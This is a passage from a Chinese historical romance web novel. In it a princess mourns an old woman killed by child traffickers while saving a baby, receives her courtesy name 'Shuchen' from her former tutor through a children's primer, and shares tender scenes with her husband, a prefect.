门外，盆盆罐罐里都积满了水，鸟雀在树叶间叽叽喳喳，时不时从这边树丫飞向对面。
李意清走到后院，看到睡得七零八落的三人。
洛石睡的浅，听到响动，立刻警觉地睁开双眼。
“殿……”
李意清朝他比了一个“嘘”声。
“辛苦了，再休息一会儿吧。”
洛石放轻了声音：“可是滕荇和刘阿婆。”
“无妨，现在雨停了，我去外面看看。”李意清将他身上滑落的薄被往上拉了拉，“这里你多看着些。”
洛石点了点头。
李意清经过门口的时候，看见地上的油纸伞。
昨夜雨骤，油纸伞边缘被冲出一个豁口，上面的桐油也该补补了。
李意清顺手拿起油纸伞，朝着门外走去。
巷子的青苔遇水生发，滑溜溜的黏在石板上，若是一个不小心，就会摔个大马趴。
街道上，早市已经开展，不少人挑着担子叫卖。
前面有两个布衣女子，头戴着灰色布巾，背上背着一篓野菜薹，一边赶路一边小声交谈。
“昨夜的事情，你听说了吗？”
“听到了，那婆子喊得那么惨烈，怎么可能没听到，我家男人拎着锄头就要出去，我怕他受伤，死活拉着不肯他走。”
“唉，我家男人也是，我没拦住，他拎着砍刀就出去了，弄得一身伤，现在还在那儿呢。”
“真是拐子啊？”
“这还能有假？那拐子也是被逼得狠了，拿着刀就捅，我家男人说，血流了好几丈。”
“吓人，真是吓人。三清真人啊，愿这些贼首早早关入大牢，我也好安心一些。”
李意清快步上前，拦住两位妇人，“稍等，请问你们说的事，发生在哪里？”
两人被她吓了一跳，而后细细打量着李意清的面容。
“姑娘，看你斯斯文文，还是不知道的好。”
另外一个也道：“是啊，那场面我男人都怕得不行，你一个姑娘家，还是别去了。”
李意清道：“可是一个六旬老婆婆，带着一个八九岁的姑娘。”
“哎？你怎么知道？”
那妇人惊讶出声，然后像是反应过来了什么，快速捂住自己的嘴巴。
“我们是府城外日方乡的，那边现在围了一圈府兵，看管的很严。”妇人略带同情地看着她，“孩子，快去吧，记得跟着人走大道，别走小道。”
现在这个点，大道上不少挑担来府城卖菜的农户，相对安全得多。
李意清朝两人道谢，朝着日方乡赶去。
一路上的农夫，基本上都在将昨夜发生的这桩事。
走了差不多一个多时辰，她才看见了“日方乡”的石碑，再走上两里路，村口乌泱泱围着一群人。
府衙派来的士兵围成一排，禁止他们靠近。
李意清一路上设想着无数场景，告诉自己要尽可能的平静，可是当看见眼前那一幕的时候，还是被其惨烈程度吓到了。
地上躺了八个人，浑身是血。
血水顺着雨水晕染开来，看上去令人心惊胆战。
李意清在八个人当中看到了刘阿婆的身体，她身上的衣服沾满了泥土，动作僵硬而扭曲。
身上大概有二十几道伤，或许是三十几道，太多了，李意清数不过来。只能看见最深处的那一刀，已经可以看见外翻的腿骨。
她的手臂被人折断，以一种诡异的姿势朝背后翻去。
李意清轻轻抬头，袖子中的手狠狠攥紧，才没有当场流下眼泪。
旁边的村民道：“昨日夜里，那群拐子来抢人，这老婆婆也是狠人，身上被砍了七八刀，愣是不松手，还活生生勒死了一个拐子，可真厉害。”
厉害是真的厉害，惨也是真的惨。
闻言，旁边一众村民都忍不住叹了口气。
等到他们听到老婆婆大喊有拐子的时候，老婆婆已经性命垂危。
可即便这样，她从始至终没有松开怀中的那个孩子。
旁边另一个人道：“林兰嫂子哭成了也是运气好，恰好被这老婆子看到了，否则她可怎么活啊。现在狗娃保住了，可是那丫头也才九岁，以后可怎么办。”
“林兰嫂子说了，若是那丫头没亲人在世，她愿意养她一辈子。”
李意清这才发现自己先入为主了。
她朝旁边的村民问道：“什么九岁的孩子？”
村民看她一眼，开口解释道：“昨天这老婆婆带着孙女在屋檐下头躲雨，正好看见这群挨千刀的拐子翻进林兰嫂子家抱走了她家的狗娃，老婆婆让孙女捂住嘴，自己冲了上去，狗娃刚被林兰嫂子抱走，身上一处伤都没有。至于那孙女，诺，你看，就坐在那屋檐底下呢。”
李意清顺着他指的方向望去，看到了小小的，将自己蜷缩成一团的滕荇。
府衙的士兵在她面前走来走去。
李意清小步朝她走了过去，滕荇埋着脑袋，听到身边的响动，身体抖得更加厉害。
“荇儿。”
李意清轻声唤她。
滕荇迷茫地抬头，看清李意清的脸后，一把扑到她的怀中，“意清姐姐，意清姐姐，我好害怕，我拦了，但是没有拦住。”
李意清温柔地伸手将她抱在怀中。
“意清姐姐，我是不是害死了刘婆婆？”
“意清姐姐，要是我坚持拦下婆婆，婆婆就不会死了是不是？”
她在李意清的怀里哭得很伤心。
李意清不知道该怎么安慰滕荇
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，只能动作轻柔地抚摸着她的后背。
她的视线落在动作诡异，而面容安详的刘阿婆的身上。
滕荇拦不住的，她知道的。
刘阿婆没能救下自己的孙儿，将自己困了那么多年，现在她终于宽慰了自己。
一个妇人跑了过来，看到李意清愣了一瞬，然后有些颤抖地开口。
“我叫林兰，婆婆救了狗娃，就是救了我全家的性命，此生做牛做马，我都愿意报答恩公一家。”
李意清道：“我不是她的家人。”
她的家人在很早以前就已经没了。
“以后过好自己的生活，每年清明过年，让你家狗娃给婆婆烧一炷香。”李意清视线落在面前的妇人身上，声音沉稳安静。
林兰嫂子连连点头。
又过去了一个时辰左右，才有一队马匹匆匆朝这边疾驰而来。
为首的元辞章一身红衣，官帽为了骑马省事取了下来，他远远在人群中看到李意清的身影，只一眼，而后利落地翻身下马。
他走到地上躺着的人中，一一扫视过面容。
身后的主事手抱着画像比对，朝元辞章禀报，“大人，正是这几位。”
元辞章并不意外，微微颔首。
主事领会到意思，立刻扬手喊人将地上这些拐子抬走。
元辞章看着拐子的鞋印，鞋印在大雨的冲刷下变得模糊，打斗中东南西北各个方向都有。
他走到一边，而后微微弯腰，伸手比了比方位，而后回头对骑在马上的士兵道：“东南方向，追。”
声音沉稳冷静，带着不容质疑的凌厉。
领兵得令，立刻“驾”了一声，领着余下三十人朝着东南方向疾驰。
主事这几日早就看出元辞章的本事，只要他说出口的事情，基本上就没有不对的。
他抱着剩下的几张画像走到元辞章的身边，声音欲发恭敬，“大人，那这位老媪……”
元辞章瞥了一眼地上的刘阿婆，嗓音低沉，“那位老人无夫无子，由府衙出门厚葬，于日方乡立祠受供。其余主动剿匪者，医药费由府衙出，另每人给白银二两。”
主事一边用笔记录，一边在心底感叹元辞章真是料事如神。
只看了一眼，就能看出来老婆婆的家世背景，若不是公文上明明确确写着是知州，他都要怀疑元大人实际上是算命的了。
记录完毕，场上被府兵打理一番，看热闹的村民四散离开，只剩下两个处理刘阿婆的后事。
主事问道：“大人，您跟我们一道回府衙吗？”
元辞章轻轻摇头，“你们先吧。”
主事闻言，不再多问，和大部队一道离开。
元辞章走到李意清的身边，伸手捻起一枚不知道什么时候掉到她身上的落叶。
滕荇哭了半响，此刻微微抽噎，看到元辞章走近，只能哽咽着打嗝。
“先回家吧。”李意清摸了摸滕荇的脑袋，“等婆婆入土为安了，我们再来拜见她。好不好？”
滕荇不懂刘阿婆一生的执念，只知道从此之后，身边的温暖怀抱永远减一。
她愣愣地站起身，一双冰凉的手搭在了她的眼前在，遮住了所有的光线。
也遮住了刘阿婆凄惨的死状。
元辞章捂着滕荇的双眼，对李意清道：“我来吧。”
134. 童蒙启智录
两人抱着颤抖的滕荇，一步步回到了清风居。
面对众人的视线，李意清忽然不知道该怎么叙述。
元辞章将路上已经睡着的滕荇放在躺椅上，主动将李意清揽到身后，简练地将日方乡发生的事情概述。
茴香和毓心闻言，久久不能言语。
江舒窈掩面痛哭出声。
她的哭声吵醒了一旁的滕荇，滕荇睁开眼发现自己已经回来，情绪比在日方乡稳定不少。
听到哭声的来源，滕荇看到了哭泣的江舒窈。
“娘亲，你为什么把我关在家里啊？为什么自己去河边？”
江舒窈连连摇头。
“你是不想要我和弟弟了吗？”
滕荇的问话很直白，天真而残忍。
江舒窈跪倒在地，口中喊着“不是”，然后挪动自己的身子，一点点靠近滕荇。
“对不起荇儿，是娘亲不好，娘亲根本不舍得你们。”
滕荇靠在江舒窈的怀中，闻言安心地闭上了眼睛。
“好，娘亲，以后不要走那么快了，我都、我都追上你。”
她小声的嘟囔着。
江舒窈的泪水沾湿了滕荇的衣裳。
她第三次靠近江边，却不敢真的一走了之，谁知道阴差阳错，会酿成这样的后果。
一旁的李意清、元辞章、毓心和洛石都从母女两人的对话中知道了事情的来龙去脉，纷纷有些沉默。
昨夜的事情元辞章不知道，李意清紧紧牵着元辞章的手，对江舒窈道：“昨夜江淇浑身湿透，高烧不止，今天日方乡中，滕荇满身尘土。”
江舒窈：“我错了……”
“不，我不需要你的道歉，”李意清摇了摇头，“我只是觉得，你应该知道这些。你的选择我无法判断对错，所以我能做的，只是告诉你发生了什么。”
元辞章感受到李意清的颤抖，更用力地握紧她的手。
江舒窈颤抖不已。
李意清说完，转头不再看她。
劝过不止一次，宽慰不止一次，而一次又一次换来的结果，此刻显得有些可笑。
明明先承诺会好起来的是她，又放弃的也是她。
江舒窈看着李意清的眉眼，轻声道：“我知道你此刻不想与我说话，可是我还是要向你道谢——幸亏你救了江淇和荇儿。”
她朝李意清俯身，抱着江淇，牵着滕荇，离开了院子。
等她的身影彻底消失，李意清才泻力一般靠在元辞章的怀中。
“那句话是不是有些残忍？”
元辞章：“没有。”
一旁的洛石道：“殿下，你真是好脾气，我刚刚差点忍不住指着她骂。”
毓心也点了点头。
只有茴香还没有反应过来刚刚发生了什么，毓心和洛石心底正窝着火，立刻你一言我一语将事情的来龙去脉讲了清楚。
江舒窈一边安慰他们说自己越来越好，一边试图坠江。她将滕荇锁在家中，独自去了江边，滕荇撞开门锁后，追了上去，却丢失了方向，被紧随其后的刘阿婆找到。
刘阿婆和滕荇被大雨阻拦，就近在日方乡农户屋檐下避雨，刚好遇到了歹人行凶，刘阿婆死在了雨夜。
茴香闻言，用力地捂住了自己的嘴巴。
毓心看茴香一副脸被憋红的模样，没有再多解释。
有一些情感，不是光靠嘴就能说出来的。
每个人心底都堵着一块石头，一边为刘阿婆的死感到惋惜，一边又为那个孩子的新生感到庆幸。
元辞章感受到肩膀上传来的湿意，伸手将李意清抱得更紧了一些。
像是想要将她融入骨血。
“婆婆并未因自己的死亡遗憾，那个孩子会活得很好，”元辞章的唇靠近李意清的耳边，“意清，我向你保证，那些匪徒，我一定全部绳之以法。”
李意清轻轻地“嗯”了一声。
逝去者在过去迎来新生，而活着的人，还要继续走下去。
*
刘阿婆的丧事操办得很风光，百姓对人贩子有多深恶痛绝，对刘阿婆倾注的夸赞就有多浓烈。
祠堂修了一个多月，每日香火缭绕，数林兰嫂子跑的最勤快。
李意清也去上了香，祠堂中，元辞章请来的画师花的婆婆面容慈祥，神情悲悯，像是话本中庇佑孩子成长的神祇。
这一个月内，剩下的二十三个人贩子全部被抓住。其中就有拐卖了刘虎子的那个。
刘虎子被卖给宣州一个大户当帮工，后来被赶了出去，再后来，就不知所踪了。
是生是死，尚不可知。
李意清看着画像，最后遥遥一拜，搭上元辞章递过来的手，转身往外走。
走到门口，一个模样清峻的青年和尚，正温和地抬眸，看着小小的祠堂。
他朝着祠堂微微拂身，袈裟顺着他的身子下垂，露出袈裟里面的内衫。
内衫上绣着一排萝卜纹路，这样本庄重的衣裳，硬生生显露几分童趣。
李意清听到和尚诵着经文，然后双手合十，“阿弥陀佛。”
神情庄重而圣洁。
和他擦肩而过时，李意清闻到了一阵极其浅淡的檀香。
坐回马车，她才后知后觉地想要再看一眼那位和尚的面容。
掀开纱帘，只能看见和尚的背影越走越远，像是偶然听说此事的苦行僧人，随手为老婆婆诵经祈福。
元辞章：“怎么了？”
李意清摇了摇头，轻轻靠在他的肩头。
“没什么。”
*
八月初，赴往府城赶考的书生越来越多。
元辞章身为舒州知州，和同知、通判共为出卷人，因刘同知有二子也在今年应试，主动避嫌，因此主考官为元辞章，通判杨念协理。
就在满城一派紧张考学的气氛之中，一本蒙童册悄无声息地流传进了舒州府。
原先书生对这样给稚子启蒙的书册，他们这些寒窗数十年的书生并不是很瞧得上，可随着聊到册子的人越来越多，不少人都忍不住也好奇起来。
什么启蒙册，当真有这么神奇？
外头书生正在为启蒙册一册难求而焦头烂额的时候，一纸书信悄然传进了清风居。
准确来说，并不是传到了清风居，而是传到了府衙。
小厮将信呈给元辞章的时候，也有些摸不着头脑，“大人，这封信来自京城，也没官戳，就写着一个‘周’字，不知道是什么来历。”
元辞章伸手接过，看清上面的字迹后，微微颔首，“你去忙吧，这封信我知道来
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历。”
周太傅想写给李意清，却不知道李意清现在住在哪里，只好迂回寄到了府衙——元辞章正任知州。
到了下值的时刻，元辞章收拾好东西，拿起工工整整放在书案上的信，动身回家。
清风居内。
李意清原先正在喝茶，听到周太傅写信过来，险些一口水喷出来。
她猛地咳嗽两声，声音忍不住抬高了几分，“你是说周太傅？”
元辞章微微颔首。
完了完了。
当初李意清承诺过，一到舒州就会给周太傅写信，可是真到了舒州，整日不是忙这便是忙那，根本抽不出时间。
李意清颤颤巍巍接过书信，咽了一口口水，有些心虚地拆开了信封。
果不其然，周太傅骂了她整整三页纸，才开始说起正事。
路过的茴香抱着葡萄吃，余光一打眼就看见了最右边一行字，忍不住扑哧一声笑了出来。
周太傅的字力透纸背。第一行字赫然就是——“竖子当真可恨至极。”
李意清听到茴香的嘲笑，有些幽怨地朝她望去。
茴香立刻收敛了笑意，坐在一旁老老实实吃葡萄。
李意清快速看完前三页一句不重复的骂句，转到第四页。
第四页，周太傅简要表述了几分微不可察的思念之情，然后说出了此信的重点。
承诺过给她取的字，已经取好了。
李意清心神一凛，逐字逐句细看，生怕错过。
可是周太傅像是要报她不去信之恨，卖了一个关子。
“等你拿到《童蒙启智录》，自然就知道了。”
李意清手指轻轻划过这一行字，眼底满是笑意，嘴上却小声嘟囔着，“若是我不喜欢呢。”
茴香一边吐葡萄皮一边笑：“殿下，你笑得没停过哎。”
李意清轻咳两声，正准备喊洛石去帮自己买一本《童蒙启智录》，突然想起来仁清堂正新店开业，元尧臣、洛石和杜于泉三人忙的不可开交，十日有五日将就在堂里休息。
对此，他们互相安慰的话术是：过了这几天就好了。
后来变为：过了这十几天就好了。
也不知道后续会不会变成过了这几十天就好了。
李意清将视线投向淡然翻书的元辞章，伸手勾了勾他的袖子。
“知州大人，元辞章，元伯怀，夫君，你帮帮我吧。”
元辞章的动作顿住，而后抬眸看向李意清。
李意清一脸温柔的笑，主动用脑袋蹭了蹭元辞章的胳膊。
她连撒娇本事都使上了，他怎么舍得拒绝。
“夫人稍等。”
元辞章站起身，看着窝在躺椅中慵懒如雪天红狐一样的李意清，忍不住伸手在她鼻尖刮了一下。
李意清愣了一瞬才反应过来元辞章做了什么。
茴香在旁边笑得脸都疼，见到这一幕还是忍不住有些牙酸。
也有可能是这葡萄太酸了。
她将葡萄放在一旁，小声凑到李意清的耳边道：“殿下，懒死你算啦！”
李意清置若罔闻，左耳进右耳出，见茴香将葡萄放下，伸手去够现成的葡萄。
嗯，甜。
她眯起眼睛，享受葡萄的果甜在舌尖蔓延。
135. 纵我不往
《童蒙启智录》先书信一步传入舒州，经过这几天的发酵，早就一书难求。
元辞章问了三家书斋，书斋老板都摇了摇头。
“实不相瞒，这本书现在紧俏得很，公子若是实在想要，不如预定一本，等下次货到了，第一时间就能拿到。”
元辞章闻言莞尔：“不必，我再去别处问问。”
他已经答应了夫人要带书回来，怎么能无功而返。
书斋老板还是觉得有些可惜：“我看公子年纪轻轻，也是为了州试而来吧，小店虽然没有那本《童蒙启智录》，却还有不少好书，上任状元郎的策论也有收录，公子可要买几本回去看看。保管公子看着状元郎的笔录，过些日子的秋闱上下笔如有神！”
这就更好笑了。
元辞章依旧清清淡淡地摇头婉拒，转身离开了书斋。
走到第四家书斋，老板头也不抬道：“《童蒙启智录》已售罄，下次补货八月十三，先到先得……”
老板话音未落，忽然耳畔响起一道恭维的声音，“哎呀呀，这不是知州大人吗？好巧，知州大人也来买书？”
元辞章瞥了一眼旁边的人，脑海中搜寻了一番，才记起这号人。
舒州府学学正——不过很快就不是了。
元辞章可有可无地朝他点头。
听到店中没有这本书，元辞章转身欲走。
高学正看着他的背影，转头去看坐在旁边的高雁卉。
这就是你说的对你颇有好感？
高雁卉顶着父亲的视线，主动站起身拦住了元辞章，“且慢。”
元辞章声线淡淡：“姑娘有事？”
他的嗓音冷淡疏离，显然已经忘记她这号人了。
高雁卉强撑着笑脸，试图勾起元辞章的记忆：“恩公不记得我啦，我是高雁卉……”
元辞章懒得再听，转身欲走。
“知州大人留步，”高雁卉自知套不到关系，孤注一掷抬高了声音，将一本《童蒙启智录》递了过来，“知州大人来此，是为了这本书吧？”
元辞章垂眸望去，她手上的《童蒙启智录》大概食指厚度，书封是一片清幽的竹林，一老一少对座论诗。
在“童蒙启智录”的下方，有两行小字。
周灵运、李漱尘。
李漱尘。
元辞章忍不住小声念了出来。
漱为净，尘为埃，不染尘埃，远离束缚，脱俗而超凡。
这就是周太傅为李意清取的字。
高雁卉听到元辞章的低喃，立刻抓住机会搭话道：“知州大人也喜欢漱尘的文章吗？”
看在漱尘二字的份上，元辞章微微颔首。
“嗯。”
“小女也是！”高雁卉连忙高声道，“漱尘用笔灵动自然，文章行云流水，言浅意深，字字珠玑，再怎么细读也不为过。”
元辞章：“还有呢？”
“还有，还有……漱尘的文章构思精巧，落笔独到，比如劝学篇，犹如古道苍松，历经风霜而显坚韧，字字句句以己身度人，情感真挚，实乃不可多得的妙笔。”
高雁卉绞尽脑汁将平生所学赞美和方才看到的文章相结合，看到元辞章眼底微不可察的喜悦，忍不住继续吹捧。
“漱尘文采斐然，知州大人也饱含赞赏，小女愿意先借给知州大人阅览，之后再寻时间归还。”
一借一还，这相处机会可不就来了吗。
高雁卉心中美滋滋的想。
元辞章凝眉不语。
李意清想看不假，可是向另外一个女子借东西给她看，事后还要还回去，怎么想都觉得不够妥当。
“不必了。”
前排的书斋老板主动道：“知州大人，我这里还有一本。”
元辞章循声望去，“不是说没有了吗？”
书斋老板挠了挠自己的脑门，“我看不少书生都来买这本书，先给我儿子留了一本。”
他一边说，一边看向自己的身侧。
那里，躺着一个三四个月的幼童，正抱着拨浪鼓酣然入睡。
元辞章：“……”
这蒙起的真早。
书斋老板也觉得自己现在这个行为有些匪夷所思，对元辞章道：“知州大人，知州大人，你若是想要，这本《童蒙启智录》先给大人就是，犬子尚小，过几日也来得及。”
是过几年也来得及。
元辞章在心中纠正，而后伸手接过那本《童蒙启智录》，问：“多少钱？”
书斋老板连连摆手：“不要钱不要钱，知州大人莅临寒舍，寒舍蓬荜生辉，哪还能向知州大人收钱呢。”
元辞章沉吟，转到书斋后面挑了基本新出的狐仙话本，然后拿着三本书，放了一锭白银在桌上。
一两银子绰绰有余。
书斋老板“哎”了几声，看着元辞章越走越远。
高学正气急败坏地质问高雁卉：“这就是你说的另眼相待？”
高雁卉畏惧地低头。
“这两个月来我连他的面都见不到，纵使有天大的本事，也无处可使啊。”
高学正：“不中用的东西，真是晦气，我竟然信了你的鬼话。”
他一路骂骂咧咧离开了。
只剩下高雁卉一人站在书斋，旁边选书的书生前来搭话：“姑娘，你手里那本《童蒙启智录》还卖吗？我出两倍的价钱？”
高雁卉将书甩在地上，又恨恨地瞪了坏她好事的书斋老板一眼。
书斋老板浑然不觉，只沉浸在一锭银子的喜悦之中。
*
另一边，李意清吃完最后一颗葡萄，才看见元辞章回来的身影。
“怎么去了这么久？”
“夫人的书一书难求。”元辞章将书递给李意清，语气带上了几分笑意。
李意清有些激动地伸手接过，细细描摹着书封上的竹林。
是思明轩。
顺着一老一少对诗向上，她看见了落在“周灵运”旁边的三个小字。
“漱尘。”
她一字一句，轻声念着。
元辞章轻吟：“漱水清心净不染，尘埃落定见真颜。洗尽铅华归自然，涤荡俗念觅桃源。”
最后朝着李意清轻轻一笑：“是个极好的名字。”
李意清的睫毛微微颤抖。
元辞章等她慢慢平复心绪，才主动出声询问：“可要提笔回信？”
“回，自然要回。”李意清将信抱在怀中，笑意盈盈看向元辞章，“还请知州大人帮忙研墨。”
元辞章：“自当从命。”
等笔拿到手
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上，李意清反而有些犯难，不知道该从何写起。
外面天色渐深，元辞章一一点燃案上的烛火。
灯光摇曳中，李意清看着元辞章颀长的身影，忽然福至心灵，落笔如有神。
元辞章坐在对面，单手撑着头，目光温和地落在李意清的身上。
李意清一口气写了三页纸，才堪堪停笔。
最后署名，漱尘。
完美。
李意清对这封亲笔显然很满意，将三页纸递给元辞章。
她不主动，元辞章绝对不会多看一眼。
李意清双手托腮，眸光满是星星点点的笑意：“你看我写的怎么样？”
元辞章面容沉静，淡淡看望第一页后，抬眸看向她。
李意清浑然不知危险已经来临。
“如何？是不是很流畅，很丝滑？”
元辞章嗓音低哑：“你是指纵我不往，子宁不嗣音？”
李意清：“不是，你看仔细了，我写的是——纵徒不往，师宁不嗣音。”
“所以呢？”
李意清被他平静的语气无端弄得有些心虚。
“夫人高才，想来不会不知道这首《郑风》所言何物吧？”
李意清伸手去够书信：“好啦好啦，我把这一句划掉就是了。”
顶着元辞章的视线，李意清将这一行字划掉。
“真是的，周太傅是先生，这都不可以吗。”李意清小声嘟囔了一句。
“不可以。”元辞章垂眸看着那一行被划去的字迹，终于满意了。
他压低了声音，轻声道：“以后只可以写给我。”
李意清愣了一下，转头去看他。
元辞章凑近了些，几乎是靠近就能接触到的距离。
他把头搭在李意清的肩上，丝毫不觉得自己方才的行为有多幼稚。
“好不好？”
好，怎么不好。
他都这么说了，李意清还能说什么。
鼻尖萦绕着元辞章身上清幽的竹香，李意清只觉得他靠的太近，几乎不能呼吸。
她伸手推了推元辞章的肩膀，纹丝不动。
“你，你起开点。”李意清小声道。
元辞章闭着眼睛，唇角微微向上勾起。
不过他此刻头靠在李意清的肩上，她看不见他的表情。
“你还没有答应我。”元辞章故意放轻了声音，微微在李意清的耳边吹风。
好痒。
李意清浑身战栗了一下，忍不住微微往后躲开一些。
“我在心底答应你了。”
元辞章：“我没听到，不作数。你说给我听。”
李意清小口小口地喘息。
既然抵抗不动，那就不抵抗了。
她伸手抱住元辞章，忽然很轻地在他耳畔道：“卿卿伯怀，悠悠我心。一日不见，如三月兮。”
元辞章的呼吸明显粗重了几分。
“我这样说，夫君可满意了。”
“……继续说。”
“还要听，我想想，今夕何夕兮，搴舟中流。山有木兮木有枝……”
“死生契阔，与子成说。执子之手，与子偕老。”
“野有蔓草，零露漙兮。有美一人，清扬婉兮。邂逅相遇，适我愿兮。”
136. 琼花酥
昨日闹到半夜，李意清没能第一时间看到《童蒙启智录》的详编。
现在回想起来，只觉得临时想先秦情诗，并不比编纂蒙书简单。
李意清穿戴好走出去，正好看见毓心将菜端上桌。
“殿下，”看到李意清，她自然地招呼她坐下，“刚好吃饭。”
李意清一想到昨夜自己大脑空空却还是被哄着念诗的场景——虽然是自己先起的头，但是看见元辞章一脸闲适的坐在对面，还是下意识地避开他，坐到了对面。
？
真是稀奇。
许三和茴香同时去打量自家主子，前几日不还是如胶似漆，怎么今天突然分开坐了。
茴香用眼神询问许三：“你家公子又怎么惹到我们殿下了。”
许三无辜耸肩：“我怎么知道。”
两人你来我往，被毓心的声音打断。
“你们还吃不吃饭？”
茴香拨弄着筷子，“吃吃吃，要事元尧臣在的话，就更好了。”
元尧臣的厨艺真没夸大，山珍海味，北味南鲜，就没用他处理不来的食材。
毓心道：“你既然现在看不上我烧的饭菜，不如以后早起去仁清堂吃饭。”
茴香立刻怂了：“好姐姐，我也就说一句，你做的饭菜最好吃了。”
两人插科打诨，早饭时间很快过去。
李意清刻意忽视坐在对面的元辞章，几次余光瞄到他的视线望过来，都会特意低头。
元辞章自知理亏，看着坐在躺椅上闭眼养神的李意清，轻声道：“桌上还有两本新出的话本，累了可以拿来解闷，写给周太傅的信我顺道送去驿站，这样可以吗？”
李意清睁开眼眸，见他目光温和一副人畜无害的模样，可有可无地点了点头。
“知道了。”
元辞章：“那我去府衙了。”
他说完，并不急着走，像是在等李意清说话。
李意清看他真有一副自己不说话，他就不当值的气势，开口道：“好啦，知道啦，你快去吧。”
元辞章轻轻在她眉心落下一个吻，前言不搭后语道：“嗯，听你的，我早些回来。”
然后心满意足地离开了。
李意清：“？？”
她听到茴香在旁边偷笑的声音。
不是，她什么时候说要他早些回来了？
他自己在乱回些什么啊。
茴香在旁边看着李意清一张脸越来越红，火上浇油模仿元辞章的话：“听你的。”
李意清恼羞成怒将手边的帕子扔了过去，却挡不住茴香越发猖狂的笑声。
眼不见心不烦，李意清管不住茴香大笑的嘴，只能自己回到寝屋。
寝屋中，《童蒙启智录》被风吹开二三页。
李意清一页页翻着，不知不觉，就入了迷。
里面大部分内容都熟悉的很，不过顺序被周太傅细心调整过，一些句式也被修正，古籍典故也标出了出处。
全书分为礼、志、信、家、国五卷，由浅入深，由此及彼，因为是给蒙童启蒙所用，所用字句都是简单明晰，很少有晦涩难懂的句子。
周太傅说，能用简练的话讲出深刻的道理，那么那一句话，就不是浅薄的话。
李意清深以为然。
不知不觉看到午时，李意清伸手揉了揉发涨发酸的脖颈，伸了懒腰出门。
午饭已经准备好，毓心刚好帮隔壁院子的萝卜地修整一番，看到李意清的身影，道：“茴香拿着食盒去了仁清堂，准备打饭回来吃。”
说完，毓心有些丧气，“我做的当真不好吃吗？”
李意清矢口否认：“不，很好吃。”
她之前真心实意觉得毓心做饭一事颇有天赋。
毓心：“那为什么？”
李意清：“或许，茴香只是担心你太辛苦了。”
毓心：“我快信了。”
李意清扑哧一声笑出来，而后视线落在毓心的指尖上。
原先毓心的手娇嫩白皙，但是这几个月下来，她的手早就不比往日。
毓心注意到李意清的视线，将双手伸出来仔细打量。
“还好，擦些膏脂就可以了。”毓心不以为意，“我先去看看茴香到哪里了。”
李意清“嗯”了一声。
少顷，茴香拎着食盒和毓心一道回来。
“殿下，今天生意和昨天一样爆满，你知道吗，堂里面都有不少人在讨论《童蒙启智录》，周太傅人尽皆知，有不少人好奇这漱尘是谁。”茴香一放下食盒，就忍不住开始说，“殿下你猜猜看，他们是怎么说的？”
李意清：“太子哥哥？”
太子李序泽的字是顺成帝亲自取的，字宸翰，不过至今尚未对外公开。
不过周太傅致仕前曾任太子太傅，光是靠着这一点，就有不少人会这般联想
茴香惊呼一声：“猜对了！他们都说漱尘是太子殿下的化名。”
李意清笑了笑，并不在意。
茴香知道李意清不在意这些虚名，讲完这些，又说道：“我听不少学子对家国两卷大为称赞，而且这本书大火之后，说不定能上达天听，明年的春闱也会从中选题。”
这倒是李意清没有想到的。
茴香偷笑一声，紧接着道：“未来春闱会不会出现不知道，可是舒州府已经坐不住了……今早消息便传开了，昨天晚上知州大人特意去书斋询问《童蒙启智录》，书斋老板说的有鼻子有眼，不少书生都信了，都忙着托关系请人借阅呢。”
李意清道：“这应该不会。州试的策论和墨贴前些日子就已经拟定的差不多了，哪有拖到现在的。”
茴香转念一想也是，又笑着分享了几件在仁清堂遇到的趣事，三人才一道用饭。
饭后，李意清重新铺陈笔墨。
昨日周太傅在信上说了，万物变化，童蒙启智录也不能坐吃山空，若是有空，还要多写几篇时事斟酌，后续再版，也好补充进去。
对于周太傅的想法，李意清自然大力支持，可是这次和以往周太傅挑选好主题让李意清论证不一样，他让李意清自己找到适合的题目，谈论自己的见解。
李意清第一次肩挑大梁，笔墨铺开后，半响无从落笔。
毓心进来换了两次茶水，见李意清望着窗外发呆，主动放轻了自己的脚步。
李意清垂眸的模样代表她正在沉思，若是因为她的动静打断了思绪，那可就不好了。
窗外的飞鸟飞了又回，来回三趟，李意清才动了动有着僵硬的脖子。
她端起毓心新换的热茶，饮了一口，小声叹息。
毓心见李意清心事
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重重，有话要说的模样，坐到对面，摆出一番洗耳恭听的样子。
“殿下是不知道写什么吗？”
李意清：“不是。我只是……只是不知道从何处落笔。”
看着毓心温和的眼眸，李意清微顿，轻声道：“人贩，便是我想写的主题。可是坐了半响，脑海中空空，起笔笼统，有些难受。”
毓心：“殿下不妨说来听听。”
“夫天地之间，人为贵也。然世道浇漓，奸邪四起，有等宵小之徒，蔑王法，伤天理，违人伦，致使骨肉分离，天伦乖舛。恶之极也。”
李意清一边低喃，一边摇头轻否。
毓心看着李意清，眸中亮光点点，满是崇拜：“我倒是觉得点题鲜明，立意宏大，及家国，及法度，及仁善。”
“你贯会哄我。”
李意清失笑，伸手拿笔蘸墨。
她先将自己一开始的想法写下来，然后放置一旁，重新取纸另写。
这一次，她落笔数年前的惨案，可是又怎么都觉得不满意。
光一个开头，足足写了五六遍。
直到天黑。
毓心在旁边聚精会神地看着，只觉得李意清埋头写字的时候格外好看，不骄不躁，精益求精。
元辞章回来的时候只看见外面守门的茴香，愣了一瞬。
“你们殿下呢？”
茴香看见他如同看见救星，“驸马，你可算回来了，殿下和毓心已经在房中待了一下午了。”
她的语气中满是控诉，“您看看现在什么时辰，都过了饭点了！就算不顾及自己的身子，也要考虑茴香的肚子饿了呀！”
许三没忍住笑了出来。
茴香这才意识到自己话中的失误，连忙纠正道：“就算不考虑茴香，也要考虑自己的身子啊。”
元辞章忽然绽开笑容：“我正好买了糕点。”
茴香：“？”
元辞章垂眸看了一眼手上拎着的糕点，走进了房中。
李意清正在写第七遍开头，沉浸在自己的世界中。毓心听到动静，起身朝元辞章微微俯身，退了下去。
这一遍，李意清写的还算满意。
“你看看，这一遍如……怎么是你？毓心呢？”
李意清一抬头，才发现对面坐着的元辞章。
嗯？刚刚不还是毓心吗？
元辞章用手指捻起一块糕点递过去，李意清虽然还在困惑中，但是饥饿还是驱使她乖乖张嘴接过了糕点。
是琼花酥，她最喜欢的糕点。
李意清弯起了眉眼，像一轮小小的月牙。
元辞章看见她弯弯的眼角，有些好笑地道：“什么叫怎么是我，夫人看看现在什么时辰了。”
李意清这才发现烛火下晃动的影子。
原来已经天黑了。
李意清一点一点挪到对面，伸手搂住元辞章的脖颈，像小动物一样轻轻地蹭。
“怪不得我饿了。”
她自发地抬起元辞章的胳膊，将自己挪到他的怀中窝着，然后重新将那一只胳膊放下，形成自己被抱住的动作后，心满意足地抬头看向元辞章。
